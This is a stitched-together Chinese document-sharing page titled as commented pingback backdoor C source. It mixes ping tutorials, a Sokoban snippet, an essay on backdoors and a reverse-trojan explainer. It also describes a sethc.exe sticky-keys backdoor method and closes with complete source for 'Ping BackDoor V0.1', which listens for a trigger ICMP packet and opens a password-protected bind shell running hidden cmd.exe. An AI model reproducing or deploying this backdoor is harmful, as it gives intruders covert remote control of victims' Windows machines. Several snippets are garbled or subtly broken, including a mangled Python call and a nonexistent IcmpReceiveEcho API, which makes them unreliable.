包含详细注释的pingback后门C源代码
- 格式:rtf
- 大小:79.51 KB
- 文档页数:8
ping 源码分析10.4.1 ping简介Ping是网络中应用非常广泛的一个软件,它是基于ICMP协议的。
下面首先对ICMP协议做一简单介绍。
ICMP是IP层的一个协议,它是用来探测主机、路由维护、路由选择和流量控制的。
ICMP 报文的最终报宿不是报宿计算机上的一个用户进程,而是那个计算机上的IP层软件。
也就是说,当一个带有错误信息的ICMP报文到达时,IP软件模块就处理本身问题,而不把这个ICMP报文传送给应用程序。
ICMP报文类型有:回送(ECHO)回答(0);报宿不可到达(3);报源断开(4);重定向(改变路由)(5);回送(ECHO)请求(8);数据报超时(11);数据报参数问题(12);时间印迹请求(13);时间印迹回答(14);信息请求(15);信息回答(16);地址掩码请求(17);地址掩码回答(18)。
虽然每种报文都有不同的格式,但它们开始都有下面三段:∙ 一个8位整数报文TYPE(类型)段;∙ 一个8位CODE(代码码)段,提供更多的报文类型信息;∙ 一个16 位CHECKSUM(校验和)段;此外,报告差错的ICMP 报文还包含产生问题数据报的网际报头及前64 位数据。
一个ICMP回送请求与回送回答报文的格式如表10.17 所示。
表10.17 ICMP回送请求与回送回答报文格式类型CODE 校验和[CHECKSUM]标识符序列号《嵌入式Linux应用程序开发详解》——第10章、嵌入式Linux网络编程数据10.4.2 ping源码分析下面的ping.c 源码是在busybox 里实现的源码。
在这个完整的ping.c 代码中有较多选项的部分代码,因此,这里先分析除去选项部分代码的函数实现部分流程,接下来再给出完整的ping代码分析。
这样,读者就可以看到一个完整协议实现应该考虑到的各个部分。
1.Ping 代码主体流程Ping.c主体流程图如下图10.8 所示。
另外,由于ping是IP层的协议,因此在建立socket时需要使用SOCK_RAW 选项。
backdoor函数在计算机领域中,backdoor函数是指一种可以绕过系统安全机制并获取非法权限的程序代码。
这种函数通常是由黑客或恶意软件开发人员开发的,目的是为了在系统中留下一条“暗门”,使得他们可以随时访问系统并进行恶意操作。
backdoor函数的实现方式很多,但最常见的方式是通过在系统中安装恶意软件来实现。
这些恶意软件可以是病毒、木马或间谍软件等,它们会在系统中植入backdoor函数,以便黑客可以轻松地访问系统并获取敏感信息。
除了恶意软件,backdoor函数还可以通过其他方式实现。
例如,黑客可以创建一个后门程序并在系统中运行,以便他们可以任意地访问系统。
他们还可以利用已知的漏洞来绕过系统安全机制并获取非法权限。
对于计算机系统管理员而言,backdoor函数是一个非常严重的威胁。
如果系统中存在backdoor函数,黑客可以轻松地获取系统中的敏感信息,包括个人身份信息、信用卡号码、密码等。
此外,他们还可以利用backdoor函数来攻击其他系统,从而造成更大的安全隐患。
为了保护计算机系统免受backdoor函数的威胁,管理员需要采取一些措施。
首先,他们需要定期更新系统,以确保系统中的漏洞得到修补。
其次,他们需要安装防病毒软件和防火墙等安全软件,以确保系统受到恶意软件的攻击时能够及时发现并阻止。
最后,他们还需要对系统进行定期检查和维护,以确保系统的安全性和稳定性。
总之,backdoor函数是一种非常危险的威胁,可以让黑客轻松地获取系统中的敏感信息和非法权限。
因此,计算机系统管理员需要采取一些措施来保护系统免受这种威胁。
只有这样,才能使计算机系统在安全和稳定方面达到最佳状态。
推箱子的c语言代码推箱子(Sokoban)是一种经典的益智游戏,也是计算机程序设计中常用的案例之一。
在这个游戏中,玩家需要移动箱子,将它们推到指定位置上,以完成关卡的目标。
在C语言中,我们可以使用二维数组来表示游戏的地图,其中不同的字符代表不同的元素。
例如,可以使用'#'表示墙壁,'@'表示玩家,'$'表示箱子,'.'表示目标位置。
玩家可以通过控制输入来移动,将箱子推到目标位置上。
为了实现这个游戏,我们可以先定义一个二维数组来表示地图,然后通过循环读取用户的输入,根据输入来移动玩家和箱子,最后判断是否完成了关卡的目标。
我们需要定义一个二维数组来表示地图。
假设地图的大小是10x10,我们可以这样定义:```c#define MAP_SIZE 10char map[MAP_SIZE][MAP_SIZE] = {"##########","# #","# $ #","# @ #","# #","# #","# #","# #","# #","##########"};```其中,'#'表示墙壁,'@'表示玩家,'$'表示箱子,'.'表示目标位置。
空格表示可通行的空地。
接下来,我们可以定义一个函数来打印地图,以便在每一次移动后显示最新的状态:```cvoid printMap() {for (int i = 0; i < MAP_SIZE; i++) {printf("%s\n", map[i]);}}```然后,我们可以定义一个循环,接收用户的输入,并根据输入来移动玩家和箱子。
ping命令实现的实例代码-回复实例代码如下:import subprocessdef ping(host):ping_process = subprocess.Popen(['ping', '-c', '4', host],stdout=subprocess.PIPE,stderr=subprocess.PIPE)ping_output, ping_error = ping_processmunicate()# 丢包率packet_loss = float(ping_output.split(b'')[0].split(b' ')[-1])if packet_loss == 0:return Trueelse:return Falsehost = "result = ping(host)if result:print(f"{host} is reachable.")else:print(f"{host} is not reachable.")文章开始:在网络管理和故障排除中,ping命令是一个常用的工具。
它可以用来测试与目标主机之间的连接,并衡量网络的可达性和响应时间。
在本文中,我们将使用Python编写一个简单的实例代码,来演示如何使用ping命令。
我们将使用Python的subprocess库来执行系统命令。
首先,我们需要导入subprocess模块。
然后,我们定义一个ping函数,它接受一个主机地址作为输入参数。
在函数内部,我们使用subprocess.Popen()函数来执行ping命令,并将输出和错误信息捕获到变量中。
在ping命令中,我们使用了一些参数来定义ping请求的数量,这里假设发送了4个ping请求。
通过使用stdout和stderr参数,我们可以将命令的输出和错误信息存储在变量ping_output和ping_error中。
菜鸟要了解的三种后门技术曾经饱受木马、后门(以下统称后门)侵害的人们都不会忘记机器被破坏后的惨象,于是人们展开了积极的防御工作,从补丁到防火墙,恨不得连网线都加个验证器,在多种多样的防御手法夹攻下,一大批后门倒下了,菜鸟们也不用提心吊胆上网了。
可是后门会因此罢休吗?答案当然是否定的。
君不见,在风平浪静的陆地下,一批新的后门正在暗渡陈仓。
1.反客为主的入侵者黑客A连接上了网络,却不见他有任何行动,他在干什么呢?我们只能看见他燃起一支烟,似乎在发呆。
过了一会儿,他突然把烟头一丢,双手迅速敲击键盘,透过屏幕,我们得知他已经进入了一个企业内部的服务器,一台安装了防火墙、而且深居内部的服务器。
他怎么做到的呢?莫非他是神仙?请把镜头回退到刚才那一幕,黑客A在烟雾熏绕中盯着一个程序界面出神,突然,那个界面变动了一下,同时,黑客A 也开始敲打键盘,接下来就是熟悉的控制界面。
各位也许不相信自己的眼睛了:难道是那台机器自己找上他的?不可能。
可是这是事实,真的是服务器自己找上来的。
黑客A也不是使用高技术,他只是使用了一种反客为主的后门――反弹木马。
众所周知,通常说的入侵都是入侵者主动发起攻击,这是一种类似捕猎的方式,在警惕性高的猎物面前,他们已经力不从心;可是对于使用反弹技术的入侵者来说,他们却轻松许多,反弹木马就如一个狼外婆,等着小红帽亲自送上门去。
一般的入侵是入侵者操作控制程序去查找连接受害计算机,而反弹入侵却逆其道而行之,它打开入侵者电脑的一个端口,却让受害者自己与入侵者联系并让入侵者控制,由于大多数防火墙只处理外部数据,对内部数据却闭上眼睛,于是,悲剧发生了。
反弹木马的工作模式如下:受害者(被植入反弹木马服务端的计算机)每间隔一定时间就发出连接控制端的请求,这个请求一直循环到与控制端成功连接;接下来控制端接受服务端的连接请求,两者之间的信任传输通道建立;最后,控制端做的事情就很普通了――取得受害者的控制权。
由于是受害者主动发起的连接,因此防火墙在大多数情况下不会报警,而且这种连接模式还能突破内网与外部建立连接,入侵者就轻易地进入了内部的计算机。
c语言实现ping功能的例子【最新版】目录1.概述2.Ping 功能原理3.C 语言实现 Ping 功能的步骤4.代码示例5.总结正文1.概述Ping 功能是网络诊断工具中非常常用的一个功能,它可以用来测试网络中两台主机之间是否可以正常通信,以及通信的延迟情况。
在众多的编程语言中,C 语言是一种非常适合进行网络编程的语言,其具有高效的性能和底层的控制能力。
本文将介绍如何使用 C 语言实现 Ping 功能。
2.Ping 功能原理Ping 功能的原理是发送一个 ICMP(Internet Control Message Protocol,互联网控制报文协议)数据包到目标主机,然后等待目标主机的响应。
发送的数据包包含一个 ICMP Echo Request 报文,目标主机收到请求后会返回一个 ICMP Echo Reply 报文。
发送方收到响应后,可以根据响应的时间和状态判断两台主机之间的网络通信情况。
3.C 语言实现 Ping 功能的步骤(1)包含必要的头文件:在 C 语言中实现 Ping 功能,需要包含<arpa/inet.h>、<netinet/in.h>、<netinet/ip.h>、<netinet/icmp.h>等头文件。
(2)构造 ICMP 数据包:使用 socket 函数创建一个 ICMP 套接字,然后使用 sendmsg 函数发送 ICMP Echo Request 报文。
(3)接收响应:使用 recvmsg 函数接收目标主机返回的 ICMP Echo Reply 报文。
(4)解析响应:根据接收到的 ICMP Echo Reply 报文中的信息,判断网络通信的状态和延迟情况。
编程实现粘滞键后门所在栏目:网络安全时间:04-13 10:22 分享:242次实际上,在编程中将此网络安全后门称作粘滞键后门是不准确的,因为不只是粘滞键要调用C:\WINDOWS\system32\sethc.exe,连续按下右边shift持续8秒,也会调用这个程序,只不过实现的是“筛选键”。
关于本文的思路,我先简单概括一下。
由于前人只是用cmd.exe覆盖sethc.exe,所以会带来两个问题:一是管理员调用粘滞键时会出现不和谐的cmd黑框;二是其他恶意的人也会发现这个谁都可以调用的后门。
《无敌的粘滞键后门》一文给出了一种在调用cmd.exe之前先验证的方法,但是管理员会常用到cmd.exe程序,显然很容易被发现。
因此,我们不妨编写一个实现某个功能的程序来覆盖C:\WINDOWS\system32\sethc.exe,并把真正的sethc.exe存在其他地方已备将来调用。
这样做的优点不言而喻,首先当遇到正常的粘滞键或是筛选键调用时,该程序会调用真正的sethc.exe,丝毫不会有什么异样;其次,只有按下实事先约定好的键才会触发后门,其他人无法利用此后门。
这样,一个完美的后门就形成了。
程序实现框图如图1所示。
图1sethc.exe的参数问题我发现当双击sethc.exe文件时,并没有跳出“粘滞键”对话框,左思右想,猜想可能是当我们连续按下5次shift时,系统不但运行了sethc.exe,而且还传递了参数。
而当我双击sethc.exe时并没有传递参数,所以也就没什么反应了。
为了得到这个参数,我用Delphi 编了个简单的程序,代码如下。
program a;usesDialogs,Windows;beginshowmessage(ParamStr(1));//将接收到的第一个参数显示在对话框上end.这段代码实现的功能很简单,就是把执行它的参数显示出来,用这个程序覆盖sethc.exe,然后连续5次按下shift,跳出对话框,参数是211,如图2所示,这验证了我的想法。
下面是一个简单的 C++ Ping 程序示例,它使用`ICMP`协议来发送和接收`ping`包,并计算往返时间(Round-Trip Time,RTT)。
```cpp#include <iostream>#include <Windows.h>#include <Iphlpapi.h>#pragma comment(lib, "Iphlpapi.lib")// 定义 Ping 类class Ping {public:Ping() {// 初始化IcmpHandleIcmpCreateFile(&IcmpHandle);}~Ping() {// 关闭IcmpHandleIcmpCloseHandle(IcmpHandle);}bool ping(const char *hostname) {// 填充IcmpSendEcho结构体ICMP_ECHO_REPLY IcmpEcho;DWORD dwSize = sizeof(ICMP_ECHO_REPLY);if (IcmpSendEcho(IcmpHandle, hostname, NULL, 0, &IcmpEcho, &dwSize) == 0) {std::cout << "Bytes Sent: " << dwSize << std::endl;std::cout << "收到响应!" << std::endl;// 获取时间FILETIME ftSend, ftRecv;GetSystemTimeAsFileTime(&ftSend);if (IcmpReceiveEcho(IcmpHandle, &IcmpEcho, &dwSize, &ftRecv) == 0) {std::cout << "字节数: " << dwSize << std::endl;std::cout << "往返时间: " << (dwSize == 0 ? -1 : (static_cast<LONGLONG>(ftRecv.dwLowDateTime - ftSend.dwLowDateTime) / 10000000) + (static_cast<LONGLONG>(ftRecv.dwHighDateTime - ftSend.dwHighDateTime) / 600000000)) << " 毫秒" << std::endl;return true;}}else {std::cerr << "发送失败!" << GetLastError() << std::endl;}return false;}private:HANDLE IcmpHandle;};int main() {Ping ping;if (ping.ping("8.8.8.8")) {std::cout << "成功!" << std::endl;}else {std::cerr << "失败!" << std::endl;}return 0;}```这个程序使用了 Windows API 中的`IcmpSendEcho`和`IcmpReceiveEcho`函数来发送和接收`ping`包。
献给C语言专业期末考试复习的同学希望你们能考个好成绩#include <stdio.h>#include <stdlib.h>#include <winsock2.h>//#include <ws2tcpip.h>#include <mstcpip.h>#define ICMP_ECHO 8 // ICMP回显请求报文的类型值为8#define ICMP_ECHOREPLY 0 // ICMP回显应答报文的类型值为0#define SNIFFER_ICMP_SIZE 101 // 监听ICMP包的大?#define BIND_PORT 8080 // 默认bind shell 端口#define MAX_PACKET 10000 // 最大ICMP包的大?#define DEF_PASSWORD "givemeshell!" // 默认密码#define xmalloc(s) HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY,(s))// 定义IP 首部typedef struct iphdr{unsigned char h_verlen; // 4位首部长度,4位IP版本号 1unsigned char tos; // 8位服务类型TOS 1unsigned short total_len; // 16位总长度(字节) 2unsigned short ident; // 16位标识 2unsigned short frag_and_flags; // 3位标志位 2unsigned char ttl; // 8位生存时间 TTL 1unsigned char proto; // 8位协议(TCP, UDP 或其它) 1unsigned short checksum; // 16位IP首部校验和 2unsigned int sourceIP; // 32位源IP地址 4unsigned int destIP; // 32位目的IP地址 4} IPHeader; // IP首部长度为: 20// 定义ICMP首部typedef struct _ihdr{unsigned char i_type; // 8位类型 1unsigned char i_code; // 8位代码 1unsigned short i_cksum; // 16位校验和 2unsigned short i_id; // 识别号(用进程号作为识别) 2unsigned short i_seq; // 报文序列号 2} ICMPHeader; // ICMP首部长度为: 8int sniffer(); // 监听ICMP 大?void decode_sniffer(char *, int, struct sockaddr_in *); // 简单Sniffer 解包程序int bindshell(); // bind shellDWORD dwBufferLen[10];DWORD dwBufferInLen = 1;DWORD dwBytesReturned = 0;HANDLE bindthread;// ICMPDoor 主函数int main(int argc, char **argv){WSADATA wsaData;int retval;// socket 初始化if ((retval = WSAStartup(MAKEWORD(2,2), &wsaData)) != 0){printf("WSAStartup failed: %d\n",retval);exit(-1);}// sniffer 开始sniffer();// socket 结束WSACleanup();return 0;}// sniffer 主函数int sniffer(){int packsize = SNIFFER_ICMP_SIZE;SOCKET socksniffer;struct sockaddr_in dest,from;struct hostent * hp;int sread;int fromlen = sizeof(from);unsigned char LocalName[256];char *recvbuf;// 创建一个原始socket, 接受所有接收的包(sniffer)if ((socksniffer = WSASocket(AF_INET, SOCK_RAW, IPPROTO_IP, NULL, 0, WSA_FLAG_OVERLAPPED)) == INVALID_SOCKET){printf("WSASocket() failed: %d\n", WSAGetLastError());return -1;}// 取得本地地址gethostname((char*)LocalName, sizeof(LocalName)-1);if((hp = gethostbyname((char*)LocalName)) == NULL){return -1;}memset(&dest,0,sizeof(dest));memcpy(&dest.sin_addr.s_addr, hp->h_addr_list[0], hp->h_length); // TCP嗅探选项dest.sin_family = AF_INET;dest.sin_port = htons(8000); // 指定任意端口// socket bindbind(socksniffer, (PSOCKADDR)&dest, sizeof(dest));// 设置socket为接受所有包WSAIoctl(socksniffer, SIO_RCVALL, &dwBufferInLen, sizeof(dwBufferInLen), &dwBufferLen,sizeof(dwBufferLen),&dwBytesReturned , NULL , NULL );// 分配socket接收缓冲区大小为MAX_PACKETrecvbuf = (char *)xmalloc(MAX_PACKET);printf("Sniffer ok!");// 循环监听包的大小while(1){// 读数据sread = recvfrom(socksniffer, recvbuf, MAX_PACKET, 0, (struct sockaddr*)&from, &fromlen);// 如果读数据出错if (sread == SOCKET_ERROR || sread < 0){if (WSAGetLastError() == WSAETIMEDOUT){continue;}printf("recvfrom failed: %d\n",WSAGetLastError());return -1;}else// if ( sread >= 28)// 如果读到数据的大小 == 监听包的大小 + 28if ( sread == packsize + 28){// 将接收到的数据交给 Sniffer 解包程序处理decode_sniffer(recvbuf, sread - 28, &from);}}return 1;}// 简单Sniffer 解包程序void decode_sniffer(char *buf, int bytes, struct sockaddr_in *from){ICMPHeader *icmphdr;// ICMP首部的地址等于buf+IP首部长度:buf+20icmphdr = (ICMPHeader *)(buf + sizeof(IPHeader));/*printf("\r\n %d bytes from %s,", bytes, inet_ntoa(from->sin_addr)); // 取出接收数据printf(" ICMP_Type: %d", icmphdr->i_type); // 检测类型printf(" ICMP_Seq: %d\r\n", icmphdr->i_seq); // 取出序列号//?出数据段 buf + 28 + ifor(int i = 0; i < bytes - 1; i++){printf("%c", *(buf + sizeof(IPHeader) + sizeof(ICMPHeader) + i));}*/// if (icmphdr->i_type == ICMP_ECHO || icmphdr->i_type == ICMP_ECHOREPLY)// 简单判断如果为icmp 请求包if (icmphdr->i_type == ICMP_ECHO){// bind shellbindshell();// DWORD bid;// bindthread = CreateThread(NULL, 0, bindshell, 0, 0, &bid);}elseprintf("\r\n Get Other Packets!");return;}// bind shell函数int bindshell(){int bport = BIND_PORT;SOCKET bindServer, getClient;struct sockaddr_in addrServer, addrClient;char Buff[4096];char *messages = "\r\n======================== Ping BackDoor V0.1 ========================\r\n========= Code by Lion.Welcome to =========\r\n";char *getpass = "\r\n Your PassWord:";char *passok = "\r\n OK! Please Enter:";char *nothispass = "\r\n Sorry, Your PassWord Not Right.\r\n";char *exitok = "\r\n Exit OK!\r\n";char *rebootok = "\r\n Reboot now!\r\n";// 创建一个socketbindServer = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);// 服务器地址和端口指定addrServer.sin_family = AF_INET;addrServer.sin_port = htons(bport);addrServer.sin_addr.s_addr = ADDR_ANY;// 设置超时int TimeOut = 60000;setsockopt(bindServer, SOL_SOCKET, SO_RCVTIMEO, (char*)&TimeOut, sizeof(TimeOut));// 设置重复利用端口UINT bReUser = 1;setsockopt(bindServer, SOL_SOCKET, SO_REUSEADDR, (char*)&bReUser, sizeof(bReUser));// 监听端口bind(bindServer, (struct sockaddr*)&addrServer, sizeof(addrServer));listen(bindServer, 2);printf("\r\n Bind Port on %d ok.", bport);// 接受client连接int iLen = sizeof(addrClient);// 接收1次连接getClient = accept(bindServer, (struct sockaddr*)&addrClient, &iLen);if(getClient != INVALID_SOCKET){// 如果有连接进来设置延时为60Sint iTimeOut = 60000;setsockopt(getClient, SOL_SOCKET, SO_RCVTIMEO, (char*)&iTimeOut, sizeof(iTimeOut));}elsereturn -1;// 写欢迎信息send(getClient, messages, strlen(messages), 0);// 写密码验证信息send(getClient, getpass, strlen(getpass), 0);// 接收数据recv(getClient,Buff,1024,0);// 验证密码if(!(strstr(Buff, DEF_PASSWORD))){// 如果密码错误,写密码错误信息send(getClient, nothispass, strlen(nothispass), 0);printf("\r\n PassWord Not Right!");closesocket(getClient);closesocket(bindServer);return -1;}// 写通过验证信息send(getClient, passok, strlen(passok), 0);// 建两个匿名管道HANDLE hReadPipe1,hWritePipe1,hReadPipe2,hWritePipe2;unsigned long lBytesRead;SECURITY_ATTRIBUTES sa;sa.nLength=12;sa.lpSecurityDescriptor=0;sa.bInheritHandle=TRUE;CreatePipe(&hReadPipe1,&hWritePipe1,&sa,0);CreatePipe(&hReadPipe2,&hWritePipe2,&sa,0);STARTUPINFO siinfo;char cmdLine[] = "cmd.exe";PROCESS_INFORMATION ProcessInformation;ZeroMemory(&siinfo,sizeof(siinfo));siinfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;siinfo.wShowWindow = SW_HIDE;siinfo.hStdInput = hReadPipe2; // 读socket写入pipe2的数据siinfo.hStdOutput = siinfo.hStdError = hWritePipe1; // 向这里写数据printf("\r\n Pipe Create OK!");// 创建一个cmd进程, 由hReadPipe2读数据,向hWritePipe1写数据int bread = CreateProcess(NULL,cmdLine,NULL,NULL,1,0,NULL,NULL,&siinfo,&ProcessInformation);while(1){// 检查管道是否有数据返回int ret = PeekNamedPipe(hReadPipe1,Buff,1024,&lBytesRead,0,0);if(lBytesRead){// 从管道hReadPipe1读数据ret = ReadFile(hReadPipe1,Buff,lBytesRead,&lBytesRead,0);if(!ret) break;// 把从管道hReadPipe1读到的数据写入连接 getClientret = send(getClient,Buff,lBytesRead,0);if(ret <= 0) break;}else{// 如果连接 getClient 有接收到数据lBytesRead = recv(getClient,Buff,1024,0);if(lBytesRead <= 0) break;// 把从连接 getClient 读到的数据写入hWritePipe2ret = WriteFile(hWritePipe2,Buff,lBytesRead,&lBytesRead,0);if(lBytesRead > 4 && Buff[0]=='e' && Buff[1]=='x' && Buff[2]=='i' && Buff[3]=='t') {// 写退出信息send(getClient, exitok, strlen(exitok), 0);closesocket(getClient);closesocket(bindServer);return 1;}else if(lBytesRead > 6 && Buff[0]=='r' && Buff[1]=='e' && Buff[2]=='b' && Buff[3]=='o' &&Buff[1]=='o' && Buff[2]=='t'){// 写重启send(getClient, rebootok, strlen(rebootok), 0);closesocket(getClient);closesocket(bindServer);ExitWindowsEx(EWX_REBOOT,NULL);return 1;}if(!ret) break;}}closesocket(getClient);closesocket(bindServer);return 1;}。